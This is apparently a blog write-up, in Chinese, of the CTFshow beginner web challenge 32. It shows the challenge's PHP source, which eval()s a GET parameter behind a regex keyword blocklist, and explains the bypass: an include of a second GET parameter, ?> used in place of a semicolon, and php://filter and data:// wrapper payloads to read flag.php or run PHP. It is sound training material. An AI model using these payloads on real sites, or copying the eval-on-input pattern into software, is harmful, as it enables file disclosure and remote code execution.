CTFSHOW-入门-web32

解题思路

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

同样的与31相似,需要我们绕过这个正则表达式,不让他匹配到内容

首先我们看这个匹配了什么,多了些什么

匹配了

flag
system
php
cat
sort
shell
.
空格
单引号'
`反引号
echo
;
以及左括号

那么意味着,我们不能使用上述的内容,那我们此前的payload是

next(arrar_reverse(scandir(getcwd())))

里面的三个左括号都用不了了

那么这次我们尝试一下使用通过参数来绕过

同样的eval()也用不了,

所以我们改用include

include 后面只需要接空格然后文件名就可以

那我们也不能直接在include里面传php过滤的代码

那么我们直接创建一个新的参数

$_GET[1]

把这个参数传输进去。

然后结尾是;

;被屏蔽了,我们就改用?>

然后我们的1参数,可以用

php://filter/convert.base64-encode/resource=flag.php 

也可以用数据伪协议,伪造一个php文档给他实现

data://text/plain,<?php phpinfo()?>

 

 


De4ault
無限進步
公告

粤ICP备2024275751号-3